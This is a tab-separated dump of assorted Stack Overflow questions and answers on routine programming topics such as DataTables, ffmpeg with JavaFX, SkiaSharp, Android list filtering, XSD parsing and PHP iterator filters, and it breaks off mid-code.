37529071	0	jQuery datatable without bootstrap <p>I am using <a href="https://datatables.net" rel="nofollow">jQuery datatable</a> and it is working perfectly fine with basic UI (look and feel).I want to use bootstrap for other UI elements under same page but adding bootstrap css and js links ,datatable grid UI converts into bootstrap theme.I want to keep datatable UI as it ( no bootstrap/default ) and would like to use bootstrap for other UI in same page.What is the way to remove bootstrap theme from datatable only.</p>
825455	0	 <p>BEA used to have a product named JAM that was used to communicate with mainframe COBOL programs. It included a tool that would read copybooks and generate both corresponding Java POD classes and data conversion code.</p> <p>I don't know if this is still available, I lost track of it when I left BEA.</p>
13692871	0	 <p>Do it like that:</p> <pre><code>$(".imgt").click(function() { $("#imgb").prop("src", this.src); }); </code></pre>
14078223	0	 <p>Sorry, but no the Win32 API doesn't have such a thing. If you want anything like that, you'll pretty much need some sort of library on top of the API itself (or, of course, you can write it yourself).</p>
30238413	0	 <p>Check this link </p> <p><a href="https://developer.apple.com/library/ios/releasenotes/General/ValidateAppStoreReceipt/Chapters/ValidateRemotely.html" rel="nofollow">https://developer.apple.com/library/ios/releasenotes/General/ValidateAppStoreReceipt/Chapters/ValidateRemotely.html</a></p> <p>Apple suggests that the receipt validation should be done at the server side.</p> <p>The status code received if the subscription has expired is 21006.</p> <hr> <p>For RESTORING PURCHASES</p> <pre><code>- (IBAction)retoreinApp:(id)sender { [[SKPaymentQueue defaultQueue] addTransactionObserver:self]; [[SKPaymentQueue defaultQueue] restoreCompletedTransactions]; self.restoringInAppStatusLabel.hidden = NO; } </code></pre> <p>It will call the method after getting restore details :</p> <pre><code>- (void)paymentQueueRestoreCompletedTransactionsFinished:(SKPaymentQueue *)queue { UIAlertView *alert ; if(queue.transactions.count &gt;0) { for (SKPaymentTransaction *transaction in queue.transactions) { NSString *temp = transaction.payment.productIdentifier; NSLog(@"Product Identifier string is %@",temp); } alert = [[UIAlertView alloc ] initWithTitle:@"Restore Transactions" message:@"All your previous transactions are restored successfully." delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil, nil]; } else { alert = [[UIAlertView alloc ] initWithTitle:@"Restore Transactions" message:@"No transactions in your account to be restored." delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil, nil]; } [alert show]; } </code></pre>
424593	0	 <p>moo, cow, sheep, baa (in that order).</p>
30437170	0	Generate video with ffmpeg to play using JavaFX <p>People always say to post a new question so I am posting a new question that relates to <a href="http://stackoverflow.com/questions/27354320/generate-video-with-ffmpeg-for-javafx-mediaplayer">Generate video with ffmpeg for JavaFX MediaPlayer</a></p> <p>The images I use can be downloaded from here <a href="https://www.dropbox.com/s/mt8yblhfif113sy/temp.zip?dl=0" rel="nofollow noreferrer">https://www.dropbox.com/s/mt8yblhfif113sy/temp.zip?dl=0</a>. It is a 2.2GB zip file with 18k images, still uploading, might take some time. The images are slices of a 3D object. I need to display images every 10ms to 20ms. I tried it with Java, but just couldn't get faster than 30ms+ so now I am trying to generate a video that will display images as fast as I want without worrying about memory or CPU power.</p> <p>People will be using my software to slice the objects and then generate the videos to be played later one. The player might run on a cheap laptop or might run on a Raspberry Pi. I need to make sure the slicer will work on any OS and that people don't need to install too much extra stuff to make it work. It would be best if I can just include everything that is needed in the download of the app.</p> <p>I also posted here <a href="https://ffmpeg.zeranoe.com/forum/viewtopic.php?f=15&amp;t=2474&amp;sid=4f7a752f909202fbec19afc9edaf418c" rel="nofollow noreferrer">https://ffmpeg.zeranoe.com/forum/viewtopic.php?f=15&amp;t=2474&amp;sid=4f7a752f909202fbec19afc9edaf418c</a></p> <p>I am using Windows 7 and I have VLC installed. The ffmpeg version is</p> <pre><code>ffmpeg version N-72276-gf99fed7 Copyright (c) 2000-2015 the FFmpeg developers built with gcc 4.9.2 (GCC) </code></pre> <p>I also tried the command lines posted on the linked question</p> <p>This line produced the video and JavaFX didn't have any errors</p> <pre><code>ffmpeg -f image2 -r 50 -i "Mandibular hollow 1 micron.gizmofill%d.gizmoslice.jpg" -s 1638x1004 -vcodec mpeg4 -qscale 1 -f mp4 Timelapse.mp4 </code></pre> <p><img src="https://i.stack.imgur.com/AXYW4.png" alt="enter image description here"></p> <p>This line also produced the video, but JavaFX had an error: "Caused by: MediaException: MEDIA_UNSUPPORTED : Unrecognized file signature!"</p> <pre><code>ffmpeg -f image2 -r 50 -i "Mandibular hollow 1 micron.gizmofill%d.gizmoslice.jpg" -s 1920x1080 -vcodec mpeg4 -qscale 1 Timelapse.avi </code></pre> <p><img src="https://i.stack.imgur.com/2Vmps.png" alt="enter image description here"></p> <p>I also tried this two pass encoding I believe. It produced the video, but didn't play</p> <pre><code>ffmpeg -r 50 -i "Mandibular hollow 1 micron.gizmofill%d.gizmoslice.jpg" -s 1638x1004 -r 50 -b:v 1550k -bt 1792k -vcodec libx264 -pass 1 -an combined50.flv &amp;&amp; ffmpeg -y -r 50 -i "Mandibular hollow 1 micron.gizmofill%d.gizmoslice.jpg" -s 1638x1004 -r 50 -b:v 1550k -bt 1792k -vcodec libx264 -pass 2 -vpre hq -acodec libfaac -ab 128k combined50.flv </code></pre> <p>This is my JavaFX code. As you can see I tried the Oracle video and that worked fine.</p> <pre><code>public class FXMLDocumentController implements Initializable { @FXML private Label label; @FXML private MediaView mediaView; @FXML private void handleButtonAction(ActionEvent event) { System.out.println("You clicked me!"); // final File f = new File("http://download.oracle.com/otndocs/products/javafx/oow2010-2.flv"); final File f = new File("C:/Users/kobus/Dropbox/JavaProjects/Gizmetor/temp/Timelapse.avi"); // "C:/Users/kobus/Dropbox/JavaProjects/Gizmetor/temp/combined50.avi.flv" // http://download.oracle.com/otndocs/products/javafx/oow2010-2.flv Media media = new Media(f.toURI().toString()); // Media media = new Media("http://download.oracle.com/otndocs/products/javafx/oow2010-2.flv"); MediaPlayer mediaPlayer = new MediaPlayer(media); mediaPlayer.setAutoPlay(true); mediaPlayer.play(); mediaView.setMediaPlayer(mediaPlayer); label.setText("Hello World!"); System.out.println(mediaPlayer.isAutoPlay()); // mediaView } @Override public void initialize(URL url, ResourceBundle rb) { // TODO } } </code></pre>
25317285	0	 <p>This is described in the specification:</p> <blockquote> <p>by default, record, union, and struct type definitions called structural types implicitly include compiler-generated declarations for structural equality, hashing, and comparison. These implicit declarations consist of the following for structural equality and hashing</p> </blockquote> <p><strong>8.15.4 Behavior of the Generated CompareTo implementations</strong></p> <blockquote> <p>If T is a union type, invoke Microsoft.FSharp.Core.Operators.compare first on the index of the union cases for the two values, and then on each corresponding field pair of x and y for the data carried by the union case. Return the first non-zero result.</p> </blockquote>
7320674	0	 <p>Use a linked server <a href="http://msdn.microsoft.com/en-us/library/ms188279.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms188279.aspx</a></p>
1688200	0	How can I do a MouseOver of exact image shape? <p>The question below is not really a programming question, but more of "how can I do this" question, implementation advice.</p> <p>I have an image of the world map. I can make each continent a separate image.</p> <p>What I want to do is create a hover over feature for each continent. When the users mouse is over the continent - the <strong>EXACT</strong> shape of the continent that is - I want it to change colour.</p> <p>My main question is, how can I reference when the users mouse is over the <strong>exact</strong> shape of the continent? I do not want to use Flash for this, all though I am afraid there is no other way to do this?</p> <p>Thanks all</p>
33983660	0	 <p>To change the padding and color you can do this.</p> <p>Add in CSS</p> <pre><code>.btn btn-info btn-lg{ color: green; padding-left: 30px; } </code></pre>
26681383	0	 <p>For an object, you'd use <code>get</code>, not <code>getfield</code> (or dynamic access in a loop like you showed).</p> <pre><code>&gt;&gt; h = figure; &gt;&gt; get(h,{'Position','Renderer'}) ans = [1x4 double] 'opengl' </code></pre> <p>This doesn't work for all objects, but for MATLAB graphics objects it does work. To deal with any class, you can use your function, but with a custom cell output instead of <code>varargout</code>:</p> <pre><code>function C = getProps(object,propnames) for p = 1:numel(propnames), C{p} = object.(propnames{p}); end </code></pre> <p>Then inside whatever function you write, you can get a comma-separated list of all properties with <code>C{:}</code>, which will be suitable for a function that expects each property name input as a separate argument (e.g. <code>C = getProps(myObj,propnames); x = myFun(h,C{:})</code>.</p>
7758768	0	 <p>Short answer; no.</p> <p>First, Core Data works with objects not raw values like this. </p> <p>Second, a <code>NSFetchedResultsController</code> is designed to return a set of objects that are of the same entity type and potentially separated into sections. What you are describing is a multi-level structure and does not fit into the goal of the <code>NSFetchedResultsController</code>.</p> <h2>Update</h2> <p>If you are just looking to get back a <code>NSArray</code> of <code>XEntity</code> sorted by <code>yProperty</code> without regard to the parent/child relationship within <code>XEntity</code> then you don't need a <code>NSFetchedResultsController</code>. Just create a <code>NSFetchedRequest</code> with the <code>-setEntity:</code> set to <code>XEntity</code> and add a <code>NSSortDescriptor</code> that sorts on <code>yProperty</code> and execute the fetch against the <code>NSManagedObjectContext</code>.</p> <p>If you want to be updated when that data changes then you would want to use a <code>NSFetchedResultsController</code> with that same <code>NSFetchRequest</code>.</p>
40576223	0	How to get a tuple based on list of template templates of variable size in C++? <p>I have created a template class which takes two plain template parameters (like int or double) and have derived several other classes from it:</p> <pre><code>template &lt;typename A, typename B&gt; class IClassBase {...} template &lt;typename B&gt; class Derived1Class : public IClassBase&lt;std::string, B&gt; {...} template &lt;typename B&gt; class Derived2Class : public IClassBase&lt;std::string, B&gt; {...} </code></pre> <p>I need to design a structure which would allow compiler to build a std::tuple based on list of template types and their parameters (B type in code snippet above).</p> <p>So given the list below </p> <pre><code>Derived1Class&lt;int&gt;, Derived1Class&lt;double&gt;, Derived2Class&lt;bool&gt;, Derived2Class&lt;std::string&gt; </code></pre> <p>compiler should infer following tuple:</p> <pre><code>std::tuple&lt;int, double, bool, std::string&gt; </code></pre> <p>Is this even possible, and if so, how it can be done in C++?</p> <p>Thanks in advance)</p>
19171346	0	Create a wordpress page with archives of a category <p>I'm a bit stumped on this one. I'd like to create a page that is an archive of all posts of a certain category - and show excerpts. However, Reading through the Wordpress docs, they say a page cannot be a post or associated with categories.</p> <p>So, I'm now wondering if this is possible or if there is a work around. I'd really like to put this on a page as I'd like to have a custom sidebar as well. Is this possible with a custom page template? Any other ways this can be done that I am not thinking of?</p> <p>Thanks!</p>
40546168	0	 <p>The link on the comment is currently broken. Due to the fact that the folder "samples" might change path in the future again, whoever needs can start exploring from the <a href="https://github.com/mono/SkiaSharp" rel="nofollow noreferrer">https://github.com/mono/SkiaSharp</a> page.</p> <p>More information about using SkiaSharp can be found on the <a href="https://developer.xamarin.com/api/namespace/SkiaSharp/" rel="nofollow noreferrer">API documentation online</a></p> <p>For who needs a practical quick start on how to use it here some examples:</p> <p><strong>Getting an SKCanvas</strong></p> <pre><code>using (var surface = SKSurface.Create (width: 640, height: 480, SKColorType.N_32, SKAlphaType.Premul)) { SKCanvas myCanvas = surface.Canvas; // Your drawing code goes here. } </code></pre> <p><strong>Drawing Text</strong></p> <pre><code>// clear the canvas / fill with white canvas.DrawColor (SKColors.White); // set up drawing tools using (var paint = new SKPaint ()) { paint.TextSize = 64.0f; paint.IsAntialias = true; paint.Color = new SKColor (0x42, 0x81, 0xA4); paint.IsStroke = false; // draw the text canvas.DrawText ("Skia", 0.0f, 64.0f, paint); } </code></pre> <p><strong>Drawing Bitmaps</strong></p> <pre><code>Stream fileStream = File.OpenRead ("MyImage.png"); // clear the canvas / fill with white canvas.DrawColor (SKColors.White); // decode the bitmap from the stream using (var stream = new SKManagedStream(fileStream)) using (var bitmap = SKBitmap.Decode(stream)) using (var paint = new SKPaint()) { canvas.DrawBitmap(bitmap, SKRect.Create(Width, Height), paint); } </code></pre> <p><strong>Drawing with Image Filters</strong></p> <pre><code>Stream fileStream = File.OpenRead ("MyImage.png"); // open a stream to an image file // clear the canvas / fill with white canvas.DrawColor (SKColors.White); // decode the bitmap from the stream using (var stream = new SKManagedStream(fileStream)) using (var bitmap = SKBitmap.Decode(stream)) using (var paint = new SKPaint()) { // create the image filter using (var filter = SKImageFilter.CreateBlur(5, 5)) { paint.ImageFilter = filter; // draw the bitmap through the filter canvas.DrawBitmap(bitmap, SKRect.Create(width, height), paint); } } </code></pre>
20387958	0	 <p>This works with arbitrary number of dicts:</p> <pre><code>def combine(**kwargs): return { k: { d: kwargs[d][k] for d in kwargs } for k in set.intersection(*map(set, kwargs.values())) } </code></pre> <p>For example:</p> <pre><code>print combine( one={'1': 3, '2': 4, '3':8, '9': 20}, two={'3': 40, '9': 28, '100': 3}, three={'3':14, '9':42}) # {'9': {'one': 20, 'three': 42, 'two': 28}, '3': {'one': 8, 'three': 14, 'two': 40}} </code></pre>
36741279	0	ListView is not displaying anything but is displayed when search view is clicked <p>I have an activity named FriendListActivity which contains 3 tabs namely CHAT ,GROUP and CONTACTS.FriendListActivity contains a viewpager which is being populated through Fragments using FragmentStatePagerAdapter .Now each fragment contains a list view which is being populated using BaseAdapter .</p> <p>Following is the code of SearchView in FriendListActivity :</p> <pre><code> SearchView.OnQueryTextListener queryTextListener = new SearchView.OnQueryTextListener() { public boolean onQueryTextChange(String query) { // this is your adapter that will be filtered Log.e("Text", query); PagerAdapter pagerAdapter = (PagerAdapter) viewPager.getAdapter(); for (int i = 0; i &lt; pagerAdapter.getCount(); i++) { Fragment viewPagerFragment = (Fragment) viewPager.getAdapter().instantiateItem(viewPager, i); if (viewPagerFragment != null &amp;&amp; viewPagerFragment.isAdded()) { if (viewPagerFragment instanceof ChatFragment) { ChatFragment chatFragment = (ChatFragment) viewPagerFragment; if (chatFragment != null) { chatFragment.beginSearch(query); // Calling the method beginSearch of ChatFragment } } else if (viewPagerFragment instanceof GroupsFragment) { GroupsFragment groupsFragment = (GroupsFragment) viewPagerFragment; if (groupsFragment != null) { groupsFragment.beginSearch(query); // Calling the method beginSearch of GroupsFragment } } else if (viewPagerFragment instanceof ContactsFragment) { ContactsFragment contactsFragment = (ContactsFragment) viewPagerFragment; if (contactsFragment != null) { contactsFragment.beginSearch(query); // Calling the method beginSearch of ContactsFragment } } } } return false; } public boolean onQueryTextSubmit(String query) { //Here u can get the value "query" which is entered in the search box. return false; } }; </code></pre> <p><strong>AdapterFriendList.java</strong></p> <p>The following code is populating the list view of ChatFragment :</p> <pre><code>public class Adapter_FriendsList extends BaseAdapter implements Filterable { private Context context; private List&lt;Bean_Friends&gt; listBeanFriends; private LayoutInflater inflater; private ApiConfiguration apiConfiguration; List&lt;Bean_Friends&gt; mStringFilterList; ValueFilter valueFilter; public Adapter_FriendsList(Context context, List&lt;Bean_Friends&gt; listBeanFriends) { this.context = context; this.listBeanFriends = listBeanFriends; mStringFilterList = listBeanFriends; } @Override public int getCount() { return listBeanFriends.size(); } @Override public Object getItem(int position) { return listBeanFriends.get(position); } @Override public long getItemId(int position) { return position; } @Override public View getView(int position, View view, ViewGroup viewGroup) { Log.e("GetView", "Called"); if (inflater == null) inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); if (view == null) view = inflater.inflate(R.layout.feed_item_chat_list, null); //Getting Views ImageView img_friend = (ImageView) view.findViewById(R.id.imgFriend); TextView txtNameFriend = (TextView) view.findViewById(R.id.txtNameFriend); // ImageView imgMoreOption = (ImageView) view.findViewById(R.id.imgMoreoption); TextView txtFriendsID = (TextView) view.findViewById(R.id.txtFriendsID); /* imgMoreOption.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Dialog dialog = new Dialog(context); dialog.requestWindowFeature(Window.FEATURE_NO_TITLE); // hide the title bar dialog.setContentView(R.layout.more_option); dialog.show(); } });*/ //Setting values in the views //Data source of Adpater is List.At a specific position in the list ,we get Bean_Friends object Bean_Friends bean_friends = listBeanFriends.get(position); //Getting values from Bean_Friends String name = bean_friends.getName(); Log.e("FriendNAmeAD", name); String url = bean_friends.getUrl(); Log.e("urlAD", url); String extension = bean_friends.getExtension(); String friendID = bean_friends.getFriendsID(); //Initializing ApiConfiguration apiConfiguration = new ApiConfiguration(); String api = apiConfiguration.getApi(); String absoluteURL = api + "/" + url + "." + extension; Log.e("AbsoluteURLAD", absoluteURL); Picasso.with(context).load(absoluteURL).error(R.drawable.default_avatar).into(img_friend); //Loading image into the circular Image view using Picasso txtNameFriend.setText(name);//Setting name txtFriendsID.setText(friendID); return view; } public static boolean exists(String URLName) { try { HttpURLConnection.setFollowRedirects(false); // note : you may also need // HttpURLConnection.setInstanceFollowRedirects(false) HttpURLConnection con = (HttpURLConnection) new URL(URLName).openConnection(); con.setRequestMethod("HEAD"); return (con.getResponseCode() == HttpURLConnection.HTTP_OK); } catch (Exception e) { e.printStackTrace(); return false; } } @Override public Filter getFilter() { if (valueFilter == null) { valueFilter = new ValueFilter(); } return valueFilter; } private class ValueFilter extends Filter { @Override protected FilterResults performFiltering(CharSequence constraint) { String str = constraint.toString().toUpperCase(); Log.e("constraint", str); FilterResults results = new FilterResults(); if (constraint != null &amp;&amp; constraint.length() &gt; 0) { ArrayList&lt;Bean_Friends&gt; filterList = new ArrayList&lt;Bean_Friends&gt;(); for (int i = 0; i &lt; mStringFilterList.size(); i++) { if ((mStringFilterList.get(i).getName().toUpperCase()) .contains(constraint.toString().toUpperCase())) { Bean_Friends bean_friends = mStringFilterList.get(i); filterList.add(bean_friends); } } results.count = filterList.size(); results.values = filterList; } else { results.count = mStringFilterList.size(); results.values = mStringFilterList; } return results; } @Override protected void publishResults(CharSequence constraint, FilterResults results) { listBeanFriends = (ArrayList&lt;Bean_Friends&gt;) results.values; notifyDataSetChanged(); } } </code></pre> <p>}</p> <p>My problem is that when i click on CHAT tab,nothing is displayed but when i click on SearchView presented on the Activity containing the chat tab,the contents of list view are displayed .I want the contents of CHAT tab to be displayed when the user press of swipe the screen.Please help me to fix the issue.</p>
13009467	0	 <pre><code>$send = mail($to, $subject, $message); if(!$send){ echo 'Failed to send!'; } </code></pre> <p>The <a href="http://php.net/manual/en/function.mail.php" rel="nofollow">mail</a> function:</p> <blockquote> <p>Returns TRUE if the mail was successfully accepted for delivery, FALSE otherwise.</p> </blockquote>
21189394	0	 <p>I don think a sheebang line alone would do it.</p> <p>You could try putting in </p> <pre><code>#! /usr/bin/env python2.7 </code></pre> <p>though. - But the thing that really would be consistent for you would be to use virtual python environments through virtualenv.</p> <p>Please, check <a href="http://www.virtualenv.org/en/latest/virtualenv.html" rel="nofollow">http://www.virtualenv.org/en/latest/virtualenv.html</a> - Otherwise you will risk having code running with the 2.7 Python but trying to load python 2.6 modules and libraries, and worse scenarios still.</p> <p>Also, the recommendation for having two same-major-version Python in a system is to keep both in different prefixes, like the system one in /usr, and the other in /opt (/usr/local won't suffice for a clear separation).</p>
29073140	0	 <p>I just figured it out. You have to include both the schema AND the catalog. The catalog, in my case, is the database name:</p> <pre><code>&lt;table name="TITLE" catalog="hibernatetest" schema="dbo" class="Jeffery_jump"&gt; &lt;primary-key&gt; &lt;generator class="identity"/&gt; &lt;key-column name="id" property="version"/&gt; &lt;/primary-key&gt; &lt;/table&gt; </code></pre> <p>What's annoying is according to the official hibernate documentation, schema and catalog are optional. Well done, hibernate. Well done.</p>
23319746	0	decorator design pattern violating is-a relationship <p>I have recently started studying about decorator design pattern but I have a query. Decorators implement the same interface as the Component they are trying to decorate. Doesn't this violate the is-a relationship. Moreover since the decorator has the component (through composition) , why is it really required for the decorator to implement the same component interface which the concrete component implements.?</p> <p>Going through the decorator design pattern on Headfirst, it gives me a feeling that decorators can directly implement the component. There is no need to have an abstract class / interface for decorator. </p> <p>I am worries that this could really be a dumb question but help would allow me to have a strong foundation. </p>
11111498	0	 <p>As explained on the NSView reference page, the z-order of a view's subview is given by their oder in the view's <code>subviews</code> array. You can insert a new subview relative to the others using <code>-addSubview:positioned:relativeTo:</code>, and you can reorder the existing subviews by getting the <code>subviews</code> property, reordering the views therein as you like, and then calling <code>-setSubviews:</code> to set the new order.</p> <p>Specifically, the docs say:</p> <blockquote> <p>The order of the subviews may be considered as being back-to-front, but this does not imply invalidation and drawing behavior.</p> </blockquote>
20928108	0	making text bold via code <p>I have the code:</p> <pre><code>label5.Font = new Font(label5.Font.Name, 12, FontStyle.Underline); </code></pre> <p>..But I can't figure how to change it to bold as well. How can I do that?</p>
3622066	0	 <p>e to the power of something imaginary can be computed with sin and cos waves<br> <img src="https://i.stack.imgur.com/uqQ3i.png" alt="http://upload.wikimedia.org/math/4/0/d/40d9a3c31c4a52cb551dd4470b602d82.png"><br> <a href="http://en.wikipedia.org/wiki/E_(mathematical_constant)" rel="nofollow noreferrer">wikipedia entry for e</a></p> <p>and vector exponentiation has it's own page as well<br> <img src="https://i.stack.imgur.com/MAW0W.png" alt="alt text"><br> <a href="http://en.wikipedia.org/wiki/Matrix_exponential" rel="nofollow noreferrer">matrix exponential</a></p>
23507112	0	Get the empty page count using iText Java <p>I have 800 pages PDF file, I want to get the count how many pages has been blank, among these 800 pages</p>
7948389	0	Parsing XSD Schema with XSOM in Java. How to access element and complex types <p>I’m having a lot of difficuly parsing an .XSD file with a XSOM in Java. I have two .XSD files one defines a calendar and the second the global types. I'd like to be able to read the calendar file and determine that:</p> <p>calendar has 3 properties</p> <ul> <li>Valid is an ENUM called eYN</li> <li>Cal is a String</li> <li>Status is a ENUM called eSTATUS</li> </ul> <p><strong>Calendar.xsd</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:gtypes="http://www.btec.com/gtypes" elementFormDefault="qualified"&gt; &lt;xs:import namespace="http://www.btec.com/gtypes" schemaLocation="gtypes.xsd"/&gt; &lt;xs:element name="CALENDAR"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="Valid" type="eYN" minOccurs="0"/&gt; &lt;xs:element name="Cal" minOccurs="0"&gt; &lt;xs:complexType&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="gtypes:STRING"&gt; &lt;xs:attribute name="IsKey" type="xs:string" fixed="Y"/&gt; &lt;/xs:extension&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="Status" type="eSTATUS" minOccurs="0"/&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:complexType name="eSTATUS"&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="gtypes:ENUM"/&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;xs:complexType name="eYN"&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="gtypes:ENUM"/&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; </code></pre> <p><strong>gtypes.xsd</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.btec.com/gtypes" elementFormDefault="qualified"&gt; &lt;xs:complexType name="ENUM"&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="xs:string"&gt; &lt;xs:attribute name="TYPE" fixed="ENUM"/&gt; &lt;xs:attribute name="derived" use="optional"/&gt; &lt;xs:attribute name="readonly" use="optional"/&gt; &lt;xs:attribute name="required" use="optional"/&gt; &lt;/xs:extension&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;xs:complexType name="STRING"&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="xs:string"&gt; &lt;xs:attribute name="TYPE" use="optional"/&gt; &lt;xs:attribute name="derived" use="optional"/&gt; &lt;xs:attribute name="readonly" use="optional"/&gt; &lt;xs:attribute name="required" use="optional"/&gt; &lt;/xs:extension&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;/xs:schema&gt; </code></pre> <p>The code from my attempt to access this information is below. I'm pretty new to Java so any style criticism welcome. </p> <p>I really need to know</p> <ol> <li>How to I access the complex type cal and see that it's a string?</li> <li>How do I access the definition of Status to see it's a enumeration of type eSTATUS <em>emphasized text</em></li> </ol> <p>I've has several attempts to access the right information via ComplexType and Elements and Content. However I'm just don't get it and I cannot find any examples that help. I expect (hope) the best method is (relatively) simple when you know how. So, once again, if anyone could point me in the right direction that would be a great help.</p> <pre><code>xmlfile = "Calendar.xsd" XSOMParser parser = new XSOMParser(); parser.parse(new File(xmlfile)); XSSchemaSet sset = parser.getResult(); XSSchema s = sset.getSchema(1); if (s.getTargetNamespace().equals("")) // this is the ns with all the stuff // in { // try ElementDecls Iterator jtr = s.iterateElementDecls(); while (jtr.hasNext()) { XSElementDecl e = (XSElementDecl) jtr.next(); System.out.print("got ElementDecls " + e.getName()); // ok we've got a CALENDAR.. what next? // not this anyway /* * * XSParticle[] particles = e.asElementDecl() for (final XSParticle p : * particles) { final XSTerm pterm = p.getTerm(); if * (pterm.isElementDecl()) { final XSElementDecl ed = * pterm.asElementDecl(); System.out.println(ed.getName()); } */ } // try all Complex Types in schema Iterator&lt;XSComplexType&gt; ctiter = s.iterateComplexTypes(); while (ctiter.hasNext()) { // this will be a eSTATUS. Lets type and get the extension to // see its a ENUM XSComplexType ct = (XSComplexType) ctiter.next(); String typeName = ct.getName(); System.out.println(typeName + newline); // as Content XSContentType content = ct.getContentType(); // now what? // as Partacle? XSParticle p2 = content.asParticle(); if (null != p2) { System.out.print("We got partical thing !" + newline); // might would be good if we got here but we never do :-( } // try complex type Element Decs List&lt;XSElementDecl&gt; el = ct.getElementDecls(); for (XSElementDecl ed : el) { System.out.print("We got ElementDecl !" + ed.getName() + newline); // would be good if we got here but we never do :-( } Collection&lt;? extends XSAttributeUse&gt; c = ct.getAttributeUses(); Iterator&lt;? extends XSAttributeUse&gt; i = c.iterator(); while (i.hasNext()) { XSAttributeDecl attributeDecl = i.next().getDecl(); System.out.println("type: " + attributeDecl.getType()); System.out.println("name:" + attributeDecl.getName()); } } } </code></pre>
8336241	0	 <p>Have you thought instead about using two separate views instead, and have your conditional logic in your controller determine which view to display.</p>
3251117	0	 <p>I'd say follow the <a href="http://en.wikipedia.org/wiki/Single_responsibility_principle" rel="nofollow noreferrer">Single Responsibility Principle</a>.</p> <p>What you have is a SportsCard that does nothing on itself. It's just a data container.</p> <pre><code>class SportsCard { protected $_price; protected $_sport; public function __construct($price, $sport) { $this-&gt;_price = $price; $this-&gt;_sport = $sport; } public function getPrice() { return $this-&gt;_price; } public function getSport() { return $this-&gt;_sport; } } </code></pre> <p>The SportsCards have to be stored in a CardBook. If you think about a CardBook, then it doesn't do much, except for storing SportsCards (not Pokemon or Magic The Gathering cards), so let's just make it do that:</p> <pre><code>class CardBook extends SplObjectStorage { public function attach($card) { if ($card instanceof SportsCard) { parent::attach($card); } return $this; } public function detach($card) { parent::detach($card); } } </code></pre> <p>While there is nothing wrong with adding Finder Methods to the SportsCard set, you do not want the finder method's logic inside it as well. It is fine as long as you only have</p> <pre><code>public function findByPrice($min, $max); public function findBySport($sport); </code></pre> <p>But the second you also add</p> <pre><code>public function findByPriceAndSport($sport, $min, $max); </code></pre> <p>you will either duplicate code or iterate over the collection twice. Fortunately, PHP offers an elegant solution for filtering collections with Iterators, so let's put the responsibility for filtering into separate classes as well:</p> <pre><code>abstract class CardBookFilterIterator extends FilterIterator { public function __construct($cardBook) { if ($cardBook instanceof CardBook || $cardBook instanceof self) { parent::__construct($cardBook); } else { throw new InvalidArgumentException( 'Expected CardBook or CardBookFilterIterator'); } } } </code></pre> <p>This class merely makes sure the child classes accept only children of itself or CardBooks. This is important because we are accessing methods from SportsCard in actual filters later and because CardBooks can contain only SportsCards, we make sure the iterated elements provide these methods. But let's look at a concrete Filter:</p> <pre><code>class SportCardsBySportFilter extends CardBookFilterIterator { protected $sport = NULL; public function filterBySport($sport) { $this-&gt;_sport = $sport; return $this; } public function accept() { return $this-&gt;current()-&gt;getSport() === $this-&gt;_sport; } } </code></pre> <p>FilterIterators work by extending the class and modifying it's accept() method with custom logic. If the method does not return FALSE, the currently iterated item is allowed to pass the filter. Iterators can be stacked, so you add Filter on Filter on top, each caring only for a single piece of filtering, which makes this very maintainable and extensible. Here is the second filter:</p> <pre><code>class SportCardsByPriceFilter extends CardBookFilterIterator { protected $min; protected $max; public function filterByPrice($min = 0, $max = PHP_INT_MAX) { $this-&gt;_min = $min; $this-&gt;_max = $max; return $this; } public function accept() { return $this-&gt;current()-&gt;getPrice() &gt; $this-&gt;_min &amp;&amp; $this-&gt;current()-&gt;getPrice() &lt; $this-&gt;_max; } } </code></pre> <p>No magic here. Just the accept method and the setter for the criteria. Now, to assemble it:</p> <pre><code>$cardBook = new CardBook; $cardBook-&gt;attach(new SportsCard('10', 'Baseball')) -&gt;attach(new SportsCard('40', 'Basketball')) -&gt;attach(new SportsCard('50', 'Soccer')) -&gt;attach(new SportsCard('20', 'Rugby')) -&gt;attach(new SportsCard('30', 'Baseball')); $filteredCardBook = new SportCardsBySportFilter($cardBook); $filteredCardBook-&gt;setFilterBySport('Baseball'); $filteredCardBook = new SportCardsByPriceFilter($filteredCardBook); $filteredCardBook-&gt;filterByPrice(20); print_r( iterator_to_array($filteredCardBook) ); </code></pre> <p>And this will give:</p> <pre><code>Array ( [4] =&gt; SportsCard Object ( [_price:protected] =&gt; 30 [_sport:protected] =&gt; Baseball ) ) </code></pre> <p>Combining filters from inside the CardBook is a breeze now. No Code duplication or double iteration anymore. Whether you keep the Finder Methods inside the CardBook or in a CardBookFinder that you can pass CardBooks into is up to you.</p> <pre><code>class CardBookFinder { protected $_filterSet; protected $_cardBook; public function __construct(CardBook $cardBook) { $this-&gt;_cardBook = $this-&gt;_filterSet = $cardBook; } public function getFilterSet() { return $this-&gt;_filterSet; } public function resetFilterSet() { return $this-&gt;_filterSet = $this-&gt;_cardBook; } </code></pre> <p>These methods just make sure you can start new FilterSets and that you have a CardBook inside the Finder before using one of the finder methods:</p> <pre><code> public function findBySport($sport) { $this-&gt;_filterSet = new SportCardsBySportFilter($this-&gt;getFilterSet()); 